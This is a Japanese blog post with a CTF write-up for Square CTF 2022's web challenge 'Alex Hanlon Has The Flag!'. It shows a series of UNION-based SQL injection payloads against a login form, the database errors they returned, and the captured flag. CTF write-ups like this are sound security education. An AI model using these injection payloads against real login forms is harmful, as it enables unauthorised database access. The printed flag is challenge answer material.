green_bar.png Save The Earth! Save The Earth! - 地球環境を守ろう! Save The Earth! green_bar.png

URL: https://2022.squarectf.com/challenges

(最近、ちょくちょくCTFイベントに参加しているんですが、全然解けない事が多いです。。。全体的に難易度あがってません??)


えーっと、50点のチャレンジ2つと、Sanity Checkを1問解いただけです。

101点を獲得し、最終順位は250位でした。

squarectf_2022_score.png



とりあえず、記念に一個だけ、writeupを残しておきます。





[Web]: Alex Hanlon Has The Flag! (50 points)


Challenge

Alex Hanlon has saved the flag in his account! See if you can figure out his username and then login as him. But just know that it will be impossible to brute force his password.

http://chals.2022.squarectf.com:4102


Solution

UsernameとPasswordが入力できるログインフォームが表示されます。


Usernameにalex、PasswordにテキトーなSQLiのパターンを入れたときに、

Sorry, admin is the wrong user

というエラーが返ります。adminなんて入力してないのに。。


実は、次に出てくるチャレンジ「Going In Blind」のDescriptionに、Ok, the developers got smart, and figured out a way to prevent SQLi in the login page. Plus, they decided the flag shouldn't be hardcoded in the web application anymore. という記載があって、それもヒントになってますね。

おそらく、内部的に以下のようになっているっぽいです。

SELECT * FROM user WHERE username = 'admin' and PASSWORD = '$password'



ここからはトライ&エラーです。

入力値:

' union select 1, schema_name, 3 from information_schema.schemata;-- -

結果:

java.sql.SQLException: The used SELECT statements have a different number of columns



入力値:

' union select schema_name from information_schema.schemata;-- -

結果:

Sorry, information_schema is the wrong user



入力値:(テーブル名とカラム名は完全なGuessです)

' union select username from user where id = 1;-- -

結果:

java.sql.SQLSyntaxErrorException: Unknown column 'id' in 'where clause'



入力値:

' union select username from user where username like 'al%';-- -

結果:

Nope, try again!



入力値:

' union select username from user where username <> 'admin';-- -

結果:

flag{470bbbc0519e4bc6987bb00bef24a97a}



Flag: flag{470bbbc0519e4bc6987bb00bef24a97a}